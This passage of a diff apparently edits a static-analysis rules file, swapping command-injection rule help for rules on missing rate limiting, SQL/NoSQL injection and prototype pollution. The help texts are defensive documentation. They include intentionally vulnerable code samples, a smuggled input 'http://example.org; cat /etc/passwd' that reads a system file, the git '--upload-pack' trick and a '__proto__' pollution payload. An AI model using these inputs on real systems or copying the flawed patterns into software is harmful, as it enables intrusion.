+            "markdown" : "# Missing rate limiting\nHTTP request handlers should not perform expensive operations such as accessing the file system, executing an operating system command or interacting with a database without limiting the rate at which requests are accepted. Otherwise, the application becomes vulnerable to denial-of-service attacks where an attacker can cause the application to crash or become unresponsive by issuing a large number of requests at the same time.\n\n\n## Recommendation\nA rate-limiting middleware should be used to prevent such attacks.\n\n\n## Example\nThe following example shows an Express application that serves static files without rate limiting:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.get('/:path', function(req, res) {\n  let path = req.params.path;\n  if (isValidPath(path))\n    res.sendFile(path);\n});\n\n```\nTo prevent denial-of-service attacks, the `express-rate-limit` package can be used:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\n// set up rate limiter: maximum of five requests per minute\nvar RateLimit = require('express-rate-limit');\nvar limiter = RateLimit({\n  windowMs: 15 * 60 * 1000, // 15 minutes\n  max: 100, // max 100 requests per windowMs\n});\n\n// apply rate limiter to all requests\napp.use(limiter);\n\napp.get('/:path', function(req, res) {\n  let path = req.params.path;\n  if (isValidPath(path))\n    res.sendFile(path);\n});\n\n```\n\n## References\n* OWASP: [Denial of Service Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html).\n* Wikipedia: [Denial-of-service attack](https://en.wikipedia.org/wiki/Denial-of-service_attack).\n* NPM: [express-rate-limit](https://www.npmjs.com/package/express-rate-limit).\n* Common Weakness Enumeration: [CWE-770](https://cwe.mitre.org/data/definitions/770.html).\n* Common Weakness Enumeration: [CWE-307](https://cwe.mitre.org/data/definitions/307.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n"
           },
           "properties" : {
-            "tags" : [ "correctness", "security", "external/cwe/cwe-078", "external/cwe/cwe-088" ],
-            "description" : "Building a shell command string with values from the enclosing\n              environment may cause subtle bugs or vulnerabilities.",
-            "id" : "js/shell-command-injection-from-environment",
-            "kind" : "path-problem",
-            "name" : "Shell command built from environment values",
+            "tags" : [ "security", "external/cwe/cwe-770", "external/cwe/cwe-307", "external/cwe/cwe-400" ],
+            "description" : "An HTTP request handler that performs expensive operations without\n              restricting the rate at which operations can be carried out is vulnerable\n              to denial-of-service attacks.",
+            "id" : "js/missing-rate-limiting",
+            "kind" : "problem",
+            "name" : "Missing rate limiting",
             "precision" : "high",
             "problem.severity" : "warning",
-            "security-severity" : "6.3"
+            "security-severity" : "7.5"
           }
         }, {
-          "id" : "js/shell-command-constructed-from-input",
-          "name" : "js/shell-command-constructed-from-input",
+          "id" : "js/sql-injection",
+          "name" : "js/sql-injection",
           "shortDescription" : {
-            "text" : "Unsafe shell command constructed from library input"
+            "text" : "Database query built from user-controlled sources"
           },
           "fullDescription" : {
-            "text" : "Using externally controlled strings in a command line may allow a malicious user to change the meaning of the command."
+            "text" : "Building a database query from user-controlled sources is vulnerable to insertion of malicious code by the user."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "error"
           },
           "help" : {
-            "text" : "# Unsafe shell command constructed from library input\nDynamically constructing a shell command with inputs from exported functions may inadvertently change the meaning of the shell command. Clients using the exported function may use inputs containing characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system.\n\n\n## Recommendation\nIf possible, provide the dynamic arguments to the shell as an array using a safe API such as `child_process.execFile` to avoid interpretation by the shell.\n\nIf given arguments as a single string, avoid simply splitting the string on whitespace. Arguments may contain quoted whitespace, causing them to split into multiple arguments. Use a library like `shell-quote` to parse the string into an array of arguments instead.\n\nAlternatively, if the command must be interpreted by a shell (for example because it includes I/O redirections), you can use `shell-quote` to escape any special characters in the input before embedding it in the command.\n\n\n## Example\nThe following example shows a dynamically constructed shell command that downloads a file from a remote URL.\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n  cp.exec(\"wget \" + path, callback);\n}\n\n```\nThe shell command will, however, fail to work as intended if the input contains spaces or other special characters interpreted in a special way by the shell.\n\nEven worse, a client might pass in user-controlled data, not knowing that the input is interpreted as a shell command. This could allow a malicious user to provide the input `http://example.org; cat /etc/passwd` in order to execute the command `cat /etc/passwd`.\n\nTo avoid such potentially catastrophic behaviors, provide the inputs from exported functions as an argument that does not get interpreted by a shell:\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n  cp.execFile(\"wget\", [path], callback);\n}\n\n```\nAs another example, consider the following code which is similar to the preceding example, but pipes the output of `wget` into `wc -l` to count the number of lines in the downloaded file.\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n  cp.exec(\"wget \" + path + \" | wc -l\", callback);\n};\n\n```\nIn this case, using `child_process.execFile` is not an option because the shell is needed to interpret the pipe operator. Instead, you can use `shell-quote` to escape the input before embedding it in the command:\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n  cp.exec(\"wget \" + shellQuote.quote([path]) + \" | wc -l\", callback);\n};\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* npm: [shell-quote](https://www.npmjs.com/package/shell-quote).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n",
-            "markdown" : "# Unsafe shell command constructed from library input\nDynamically constructing a shell command with inputs from exported functions may inadvertently change the meaning of the shell command. Clients using the exported function may use inputs containing characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system.\n\n\n## Recommendation\nIf possible, provide the dynamic arguments to the shell as an array using a safe API such as `child_process.execFile` to avoid interpretation by the shell.\n\nIf given arguments as a single string, avoid simply splitting the string on whitespace. Arguments may contain quoted whitespace, causing them to split into multiple arguments. Use a library like `shell-quote` to parse the string into an array of arguments instead.\n\nAlternatively, if the command must be interpreted by a shell (for example because it includes I/O redirections), you can use `shell-quote` to escape any special characters in the input before embedding it in the command.\n\n\n## Example\nThe following example shows a dynamically constructed shell command that downloads a file from a remote URL.\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n  cp.exec(\"wget \" + path, callback);\n}\n\n```\nThe shell command will, however, fail to work as intended if the input contains spaces or other special characters interpreted in a special way by the shell.\n\nEven worse, a client might pass in user-controlled data, not knowing that the input is interpreted as a shell command. This could allow a malicious user to provide the input `http://example.org; cat /etc/passwd` in order to execute the command `cat /etc/passwd`.\n\nTo avoid such potentially catastrophic behaviors, provide the inputs from exported functions as an argument that does not get interpreted by a shell:\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n  cp.execFile(\"wget\", [path], callback);\n}\n\n```\nAs another example, consider the following code which is similar to the preceding example, but pipes the output of `wget` into `wc -l` to count the number of lines in the downloaded file.\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n  cp.exec(\"wget \" + path + \" | wc -l\", callback);\n};\n\n```\nIn this case, using `child_process.execFile` is not an option because the shell is needed to interpret the pipe operator. Instead, you can use `shell-quote` to escape the input before embedding it in the command:\n\n\n```javascript\nvar cp = require(\"child_process\");\n\nmodule.exports = function download(path, callback) {\n  cp.exec(\"wget \" + shellQuote.quote([path]) + \" | wc -l\", callback);\n};\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* npm: [shell-quote](https://www.npmjs.com/package/shell-quote).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n"
+            "text" : "# Database query built from user-controlled sources\nIf a database query (such as a SQL or NoSQL query) is built from user-provided data without sufficient sanitization, a malicious user may be able to run malicious database queries.\n\n\n## Recommendation\nMost database connector libraries offer a way of safely embedding untrusted data into a query by means of query parameters or prepared statements.\n\nFor NoSQL queries, make use of an operator like MongoDB's `$eq` to ensure that untrusted data is interpreted as a literal value and not as a query object. Alternatively, check that the untrusted data is a literal value and not a query object before using it in a query.\n\nFor SQL queries, use query parameters or prepared statements to embed untrusted data into the query string, or use a library like `sqlstring` to escape untrusted data.\n\n\n## Example\nIn the following example, assume the function `handler` is an HTTP request handler in a web application, whose parameter `req` contains the request object.\n\nThe handler constructs an SQL query string from user input and executes it as a database query using the `pg` library. The user input may contain quote characters, so this code is vulnerable to a SQL injection attack.\n\n\n```javascript\nconst app = require(\"express\")(),\n      pg = require(\"pg\"),\n      pool = new pg.Pool(config);\n\napp.get(\"search\", function handler(req, res) {\n  // BAD: the category might have SQL special characters in it\n  var query1 =\n    \"SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='\" +\n    req.params.category +\n    \"' ORDER BY PRICE\";\n  pool.query(query1, [], function(err, results) {\n    // process results\n  });\n});\n\n```\nTo fix this vulnerability, we can use query parameters to embed the user input into the query string. In this example, we use the API offered by the `pg` Postgres database connector library, but other libraries offer similar features. This version is immune to injection attacks.\n\n\n```javascript\nconst app = require(\"express\")(),\n      pg = require(\"pg\"),\n      pool = new pg.Pool(config);\n\napp.get(\"search\", function handler(req, res) {\n  // GOOD: use parameters\n  var query2 =\n    \"SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=$1 ORDER BY PRICE\";\n  pool.query(query2, [req.params.category], function(err, results) {\n    // process results\n  });\n});\n\n```\nAlternatively, we can use a library like `sqlstring` to escape the user input before embedding it into the query string:\n\n\n```javascript\nconst app = require(\"express\")(),\n      pg = require(\"pg\"),\n      SqlString = require('sqlstring'),\n      pool = new pg.Pool(config);\n\napp.get(\"search\", function handler(req, res) {\n  // GOOD: the category is escaped using mysql.escape\n  var query1 =\n    \"SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='\" +\n    SqlString.escape(req.params.category) +\n    \"' ORDER BY PRICE\";\n  pool.query(query1, [], function(err, results) {\n    // process results\n  });\n});\n\n```\n\n## Example\nIn the following example, an express handler attempts to delete a single document from a MongoDB collection. The document to be deleted is identified by its `_id` field, which is constructed from user input. The user input may contain a query object, so this code is vulnerable to a NoSQL injection attack.\n\n\n```javascript\nconst express = require(\"express\");\nconst mongoose = require(\"mongoose\");\nconst Todo = mongoose.model(\n  \"Todo\",\n  new mongoose.Schema({ text: { type: String } }, { timestamps: true })\n);\n\nconst app = express();\napp.use(express.json());\napp.use(express.urlencoded({ extended: false }));\n\napp.delete(\"/api/delete\", async (req, res) => {\n  let id = req.body.id;\n\n  await Todo.deleteOne({ _id: id }); // BAD: id might be an object with special properties\n\n  res.json({ status: \"ok\" });\n});\n\n```\nTo fix this vulnerability, we can use the `$eq` operator to ensure that the user input is interpreted as a literal value and not as a query object:\n\n\n```javascript\napp.delete(\"/api/delete\", async (req, res) => {\n  let id = req.body.id;\n  await Todo.deleteOne({ _id: { $eq: id } }); // GOOD: using $eq operator for the comparison\n\n  res.json({ status: \"ok\" });\n});\n```\nAlternatively check that the user input is a literal value and not a query object before using it:\n\n\n```javascript\napp.delete(\"/api/delete\", async (req, res) => {\n  let id = req.body.id;\n  if (typeof id !== \"string\") {\n    res.status(400).json({ status: \"error\" });\n    return;\n  }\n  await Todo.deleteOne({ _id: id }); // GOOD: id is guaranteed to be a string\n\n  res.json({ status: \"ok\" });\n});\n\n```\n\n## References\n* Wikipedia: [SQL injection](https://en.wikipedia.org/wiki/SQL_injection).\n* MongoDB: [$eq operator](https://docs.mongodb.com/manual/reference/operator/query/eq).\n* OWASP: [NoSQL injection](https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf).\n* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html).\n* Common Weakness Enumeration: [CWE-90](https://cwe.mitre.org/data/definitions/90.html).\n* Common Weakness Enumeration: [CWE-943](https://cwe.mitre.org/data/definitions/943.html).\n",
+            "markdown" : "# Database query built from user-controlled sources\nIf a database query (such as a SQL or NoSQL query) is built from user-provided data without sufficient sanitization, a malicious user may be able to run malicious database queries.\n\n\n## Recommendation\nMost database connector libraries offer a way of safely embedding untrusted data into a query by means of query parameters or prepared statements.\n\nFor NoSQL queries, make use of an operator like MongoDB's `$eq` to ensure that untrusted data is interpreted as a literal value and not as a query object. Alternatively, check that the untrusted data is a literal value and not a query object before using it in a query.\n\nFor SQL queries, use query parameters or prepared statements to embed untrusted data into the query string, or use a library like `sqlstring` to escape untrusted data.\n\n\n## Example\nIn the following example, assume the function `handler` is an HTTP request handler in a web application, whose parameter `req` contains the request object.\n\nThe handler constructs an SQL query string from user input and executes it as a database query using the `pg` library. The user input may contain quote characters, so this code is vulnerable to a SQL injection attack.\n\n\n```javascript\nconst app = require(\"express\")(),\n      pg = require(\"pg\"),\n      pool = new pg.Pool(config);\n\napp.get(\"search\", function handler(req, res) {\n  // BAD: the category might have SQL special characters in it\n  var query1 =\n    \"SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='\" +\n    req.params.category +\n    \"' ORDER BY PRICE\";\n  pool.query(query1, [], function(err, results) {\n    // process results\n  });\n});\n\n```\nTo fix this vulnerability, we can use query parameters to embed the user input into the query string. In this example, we use the API offered by the `pg` Postgres database connector library, but other libraries offer similar features. This version is immune to injection attacks.\n\n\n```javascript\nconst app = require(\"express\")(),\n      pg = require(\"pg\"),\n      pool = new pg.Pool(config);\n\napp.get(\"search\", function handler(req, res) {\n  // GOOD: use parameters\n  var query2 =\n    \"SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=$1 ORDER BY PRICE\";\n  pool.query(query2, [req.params.category], function(err, results) {\n    // process results\n  });\n});\n\n```\nAlternatively, we can use a library like `sqlstring` to escape the user input before embedding it into the query string:\n\n\n```javascript\nconst app = require(\"express\")(),\n      pg = require(\"pg\"),\n      SqlString = require('sqlstring'),\n      pool = new pg.Pool(config);\n\napp.get(\"search\", function handler(req, res) {\n  // GOOD: the category is escaped using mysql.escape\n  var query1 =\n    \"SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='\" +\n    SqlString.escape(req.params.category) +\n    \"' ORDER BY PRICE\";\n  pool.query(query1, [], function(err, results) {\n    // process results\n  });\n});\n\n```\n\n## Example\nIn the following example, an express handler attempts to delete a single document from a MongoDB collection. The document to be deleted is identified by its `_id` field, which is constructed from user input. The user input may contain a query object, so this code is vulnerable to a NoSQL injection attack.\n\n\n```javascript\nconst express = require(\"express\");\nconst mongoose = require(\"mongoose\");\nconst Todo = mongoose.model(\n  \"Todo\",\n  new mongoose.Schema({ text: { type: String } }, { timestamps: true })\n);\n\nconst app = express();\napp.use(express.json());\napp.use(express.urlencoded({ extended: false }));\n\napp.delete(\"/api/delete\", async (req, res) => {\n  let id = req.body.id;\n\n  await Todo.deleteOne({ _id: id }); // BAD: id might be an object with special properties\n\n  res.json({ status: \"ok\" });\n});\n\n```\nTo fix this vulnerability, we can use the `$eq` operator to ensure that the user input is interpreted as a literal value and not as a query object:\n\n\n```javascript\napp.delete(\"/api/delete\", async (req, res) => {\n  let id = req.body.id;\n  await Todo.deleteOne({ _id: { $eq: id } }); // GOOD: using $eq operator for the comparison\n\n  res.json({ status: \"ok\" });\n});\n```\nAlternatively check that the user input is a literal value and not a query object before using it:\n\n\n```javascript\napp.delete(\"/api/delete\", async (req, res) => {\n  let id = req.body.id;\n  if (typeof id !== \"string\") {\n    res.status(400).json({ status: \"error\" });\n    return;\n  }\n  await Todo.deleteOne({ _id: id }); // GOOD: id is guaranteed to be a string\n\n  res.json({ status: \"ok\" });\n});\n\n```\n\n## References\n* Wikipedia: [SQL injection](https://en.wikipedia.org/wiki/SQL_injection).\n* MongoDB: [$eq operator](https://docs.mongodb.com/manual/reference/operator/query/eq).\n* OWASP: [NoSQL injection](https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf).\n* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html).\n* Common Weakness Enumeration: [CWE-90](https://cwe.mitre.org/data/definitions/90.html).\n* Common Weakness Enumeration: [CWE-943](https://cwe.mitre.org/data/definitions/943.html).\n"
           },
           "properties" : {
-            "tags" : [ "correctness", "security", "external/cwe/cwe-078", "external/cwe/cwe-088" ],
-            "description" : "Using externally controlled strings in a command line may allow a malicious\n              user to change the meaning of the command.",
-            "id" : "js/shell-command-constructed-from-input",
+            "tags" : [ "security", "external/cwe/cwe-089", "external/cwe/cwe-090", "external/cwe/cwe-943" ],
+            "description" : "Building a database query from user-controlled sources is vulnerable to insertion of\n              malicious code by the user.",
+            "id" : "js/sql-injection",
             "kind" : "path-problem",
-            "name" : "Unsafe shell command constructed from library input",
+            "name" : "Database query built from user-controlled sources",
             "precision" : "high",
             "problem.severity" : "error",
-            "security-severity" : "6.3"
+            "security-severity" : "8.8"
           }
         }, {
-          "id" : "js/second-order-command-line-injection",
-          "name" : "js/second-order-command-line-injection",
+          "id" : "js/prototype-pollution-utility",
+          "name" : "js/prototype-pollution-utility",
           "shortDescription" : {
-            "text" : "Second order command injection"
+            "text" : "Prototype-polluting function"
           },
           "fullDescription" : {
-            "text" : "Using user-controlled data as arguments to some commands, such as git clone, can allow arbitrary commands to be executed."
+            "text" : "Functions recursively assigning properties on objects may be the cause of accidental modification of a built-in prototype object."
           },
           "defaultConfiguration" : {
             "enabled" : true,
-            "level" : "error"
+            "level" : "warning"
           },
           "help" : {
-            "text" : "# Second order command injection\nSome shell commands, like `git ls-remote`, can execute arbitrary commands if a user provides a malicious URL that starts with `--upload-pack`. This can be used to execute arbitrary code on the server.\n\n\n## Recommendation\nSanitize user input before passing it to the shell command. For example, ensure that URLs are valid and do not contain malicious commands.\n\n\n## Example\nThe following example shows code that executes `git ls-remote` on a URL that can be controlled by a malicious user.\n\n\n```javascript\nconst express = require(\"express\");\nconst app = express();\n\nconst cp = require(\"child_process\");\n\napp.get(\"/ls-remote\", (req, res) => {\n  const remote = req.query.remote;\n  cp.execFile(\"git\", [\"ls-remote\", remote]); // NOT OK\n});\n\n```\nThe problem has been fixed in the snippet below, where the URL is validated before being passed to the shell command.\n\n\n```javascript\nconst express = require(\"express\");\nconst app = express();\n\nconst cp = require(\"child_process\");\n\napp.get(\"/ls-remote\", (req, res) => {\n  const remote = req.query.remote;\n  if (!(remote.startsWith(\"git@\") || remote.startsWith(\"https://\"))) {\n    throw new Error(\"Invalid remote: \" + remote);\n  }\n  cp.execFile(\"git\", [\"ls-remote\", remote]); // OK\n});\n\n```\n\n## References\n* Max Justicz: [Hacking 3,000,000 apps at once through CocoaPods](https://justi.cz/security/2021/04/20/cocoapods-rce.html).\n* Git: [Git - git-ls-remote Documentation](https://git-scm.com/docs/git-ls-remote/2.22.0#Documentation/git-ls-remote.txt---upload-packltexecgt).\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n",
-            "markdown" : "# Second order command injection\nSome shell commands, like `git ls-remote`, can execute arbitrary commands if a user provides a malicious URL that starts with `--upload-pack`. This can be used to execute arbitrary code on the server.\n\n\n## Recommendation\nSanitize user input before passing it to the shell command. For example, ensure that URLs are valid and do not contain malicious commands.\n\n\n## Example\nThe following example shows code that executes `git ls-remote` on a URL that can be controlled by a malicious user.\n\n\n```javascript\nconst express = require(\"express\");\nconst app = express();\n\nconst cp = require(\"child_process\");\n\napp.get(\"/ls-remote\", (req, res) => {\n  const remote = req.query.remote;\n  cp.execFile(\"git\", [\"ls-remote\", remote]); // NOT OK\n});\n\n```\nThe problem has been fixed in the snippet below, where the URL is validated before being passed to the shell command.\n\n\n```javascript\nconst express = require(\"express\");\nconst app = express();\n\nconst cp = require(\"child_process\");\n\napp.get(\"/ls-remote\", (req, res) => {\n  const remote = req.query.remote;\n  if (!(remote.startsWith(\"git@\") || remote.startsWith(\"https://\"))) {\n    throw new Error(\"Invalid remote: \" + remote);\n  }\n  cp.execFile(\"git\", [\"ls-remote\", remote]); // OK\n});\n\n```\n\n## References\n* Max Justicz: [Hacking 3,000,000 apps at once through CocoaPods](https://justi.cz/security/2021/04/20/cocoapods-rce.html).\n* Git: [Git - git-ls-remote Documentation](https://git-scm.com/docs/git-ls-remote/2.22.0#Documentation/git-ls-remote.txt---upload-packltexecgt).\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html).\n"
+            "text" : "# Prototype-polluting function\nMost JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype`, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting.\n\nOne way to cause prototype pollution is through use of an unsafe *merge* or *extend* function to recursively copy properties from one object to another, or through the use of a *deep assignment* function to assign to an unverified chain of property names. Such a function has the potential to modify any object reachable from the destination object, and the built-in `Object.prototype` is usually reachable through the special properties `__proto__` and `constructor.prototype`.\n\n\n## Recommendation\nThe most effective place to guard against this is in the function that performs the recursive copy or deep assignment.\n\nOnly merge or assign a property recursively when it is an own property of the *destination* object. Alternatively, block the property names `__proto__` and `constructor` from being merged or assigned to.\n\n\n## Example\nThis function recursively copies properties from `src` to `dst`:\n\n\n```javascript\nfunction merge(dst, src) {\n    for (let key in src) {\n        if (!src.hasOwnProperty(key)) continue;\n        if (isObject(dst[key])) {\n            merge(dst[key], src[key]);\n        } else {\n            dst[key] = src[key];\n        }\n    }\n}\n\n```\nHowever, if `src` is the object `{\"__proto__\": {\"isAdmin\": true}}`, it will inject the property `isAdmin: true` in `Object.prototype`.\n\nThe issue can be fixed by ensuring that only own properties of the destination object are merged recursively:\n\n\n```javascript\nfunction merge(dst, src) {\n    for (let key in src) {\n        if (!src.hasOwnProperty(key)) continue;\n        if (dst.hasOwnProperty(key) && isObject(dst[key])) {\n            merge(dst[key], src[key]);\n        } else {\n            dst[key] = src[key];\n        }\n    }\n}\n\n```\nAlternatively, block the `__proto__` and `constructor` properties:\n\n\n```javascript\nfunction merge(dst, src) {\n    for (let key in src) {\n        if (!src.hasOwnProperty(key)) continue;\n        if (key === \"__proto__\" || key === \"constructor\") continue;\n        if (isObject(dst[key])) {\n            merge(dst[key], src[key]);\n        } else {\n            dst[key] = src[key];\n        }\n    }\n}\n\n```\n\n## References\n* Prototype pollution attacks: [lodash](https://hackerone.com/reports/380873), [jQuery](https://hackerone.com/reports/454365), [extend](https://hackerone.com/reports/381185), [just-extend](https://hackerone.com/reports/430291), [merge.recursive](https://hackerone.com/reports/381194).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html).\n* Common Weakness Enumeration: [CWE-915](https://cwe.mitre.org/data/definitions/915.html).\n",
+            "markdown" : "# Prototype-polluting function\nMost JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype`, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting.\n\nOne way to cause prototype pollution is through use of an unsafe *merge* or *extend* function to recursively copy properties from one object to another, or through the use of a *deep assignment* function to assign to an unverified chain of property names. Such a function has the potential to modify any object reachable from the destination object, and the built-in `Object.prototype` is usually reachable through the special properties `__proto__` and `constructor.prototype`.\n\n\n## Recommendation\nThe most effective place to guard against this is in the function that performs the recursive copy or deep assignment.\n\nOnly merge or assign a property recursively when it is an own property of the *destination* object. Alternatively, block the property names `__proto__` and `constructor` from being merged or assigned to.\n\n\n## Example\nThis function recursively copies properties from `src` to `dst`:\n\n\n```javascript\nfunction merge(dst, src) {\n    for (let key in src) {\n        if (!src.hasOwnProperty(key)) continue;\n        if (isObject(dst[key])) {\n            merge(dst[key], src[key]);\n        } else {\n            dst[key] = src[key];\n        }\n    }\n}\n\n```\nHowever, if `src` is the object `{\"__proto__\": {\"isAdmin\": true}}`, it will inject the property `isAdmin: true` in `Object.prototype`.\n\nThe issue can be fixed by ensuring that only own properties of the destination object are merged recursively:\n\n\n```javascript\nfunction merge(dst, src) {\n    for (let key in src) {\n        if (!src.hasOwnProperty(key)) continue;\n        if (dst.hasOwnProperty(key) && isObject(dst[key])) {\n            merge(dst[key], src[key]);\n        } else {\n            dst[key] = src[key];\n        }\n    }\n}\n\n```\nAlternatively, block the `__proto__` and `constructor` properties:\n\n\n```javascript\nfunction merge(dst, src) {\n    for (let key in src) {\n        if (!src.hasOwnProperty(key)) continue;\n        if (key === \"__proto__\" || key === \"constructor\") continue;\n        if (isObject(dst[key])) {\n            merge(dst[key], src[key]);\n        } else {\n            dst[key] = src[key];\n        }\n    }\n}\n\n```\n\n## References\n* Prototype pollution attacks: [lodash](https://hackerone.com/reports/380873), [jQuery](https://hackerone.com/reports/454365), [extend](https://hackerone.com/reports/381185), [just-extend](https://hackerone.com/reports/430291), [merge.recursive](https://hackerone.com/reports/381194).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html).\n* Common Weakness Enumeration: [CWE-915](https://cwe.mitre.org/data/definitions/915.html).\n"
           },
           "properties" : {
-            "tags" : [ "correctness", "security", "external/cwe/cwe-078", "external/cwe/cwe-088" ],
-            "description" : "Using user-controlled data as arguments to some commands, such as git clone,\n              can allow arbitrary commands to be executed.",
-            "id" : "js/second-order-command-line-injection",
+            "tags" : [ "security", "external/cwe/cwe-078", "external/cwe/cwe-079", "external/cwe/cwe-094", "external/cwe/cwe-400", "external/cwe/cwe-471", "external/cwe/cwe-915" ],
+            "description" : "Functions recursively assigning properties on objects may be\n              the cause of accidental modification of a built-in prototype object.",
+            "id" : "js/prototype-pollution-utility",
             "kind" : "path-problem",
-            "name" : "Second order command injection",
+            "name" : "Prototype-polluting function",
             "precision" : "high",
-            "problem.severity" : "error",
-            "security-severity" : "7.0"
+            "problem.severity" : "warning",
+            "security-severity" : "6.1"
           }
         }, {
-          "id" : "js/unnecessary-use-of-cat",
-          "name" : "js/unnecessary-use-of-cat",
+          "id" : "js/prototype-polluting-assignment",
+          "name" : "js/prototype-polluting-assignment",
           "shortDescription" : {
-            "text" : "Unnecessary use of `cat` process"
+            "text" : "Prototype-polluting assignment"
           },
           "fullDescription" : {
-            "text" : "Using the `cat` process to read a file is unnecessarily complex, inefficient, unportable, and can lead to subtle bugs, or even security vulnerabilities."
+            "text" : "Modifying an object obtained via a user-controlled property name may lead to accidental mutation of the built-in Object prototype, and possibly escalate to remote code execution or cross-site scripting."
           },
           "defaultConfiguration" : {
             "enabled" : true,
-            "level" : "error"
+            "level" : "warning"
           },
           "help" : {
-            "text" : "# Unnecessary use of `cat` process\nUsing the unix command `cat` only to read a file is an unnecessarily complex way to achieve something that can be done in a simpler and safer manner using the Node.js `fs.readFile` API.\n\nThe use of `cat` for simple file reads leads to code that is unportable, inefficient, complex, and can lead to subtle bugs or even security vulnerabilities.\n\n\n## Recommendation\nUse `fs.readFile` or `fs.readFileSync` to read files from the file system.\n\n\n## Example\nThe following example shows code that reads a file using `cat`:\n\n\n```javascript\nvar child_process = require('child_process');\n\nmodule.exports = function (name) {\n    return child_process.execSync(\"cat \" + name).toString();\n};\n\n```\nThe code in the example will break if the input `name` contains special characters (including space). Additionally, it does not work on Windows and if the input is user-controlled, a command injection attack can happen.\n\nThe `fs.readFile` API should be used to avoid these potential issues:\n\n\n```javascript\nvar fs = require('fs');\n\nmodule.exports = function (name) {\n    return fs.readFileSync(name).toString();\n};\n\n```\n\n## References\n* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection).\n* Node.js: [File System API](https://nodejs.org/api/fs.html).\n* [The Useless Use of Cat Award](http://porkmail.org/era/unix/award.html#cat).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n",
-            "markdown" : "# Unnecessary use of `cat` process\nUsing the unix command `cat` only to read a file is an unnecessarily complex way to achieve something that can be done in a simpler and safer manner using the Node.js `fs.readFile` API.\n\nThe use of `cat` for simple file reads leads to code that is unportable, inefficient, complex, and can lead to subtle bugs or even security vulnerabilities.\n\n\n## Recommendation\nUse `fs.readFile` or `fs.readFileSync` to read files from the file system.\n\n\n## Example\nThe following example shows code that reads a file using `cat`:\n\n\n```javascript\nvar child_process = require('child_process');\n\nmodule.exports = function (name) {\n    return child_process.execSync(\"cat \" + name).toString();\n};\n\n```\nThe code in the example will break if the input `name` contains special characters (including space). Additionally, it does not work on Windows and if the input is user-controlled, a command injection attack can happen.\n\nThe `fs.readFile` API should be used to avoid these potential issues:\n\n\n```javascript\nvar fs = require('fs');\n\nmodule.exports = function (name) {\n    return fs.readFileSync(name).toString();\n};\n\n```\n\n## References\n* OWASP: [Command 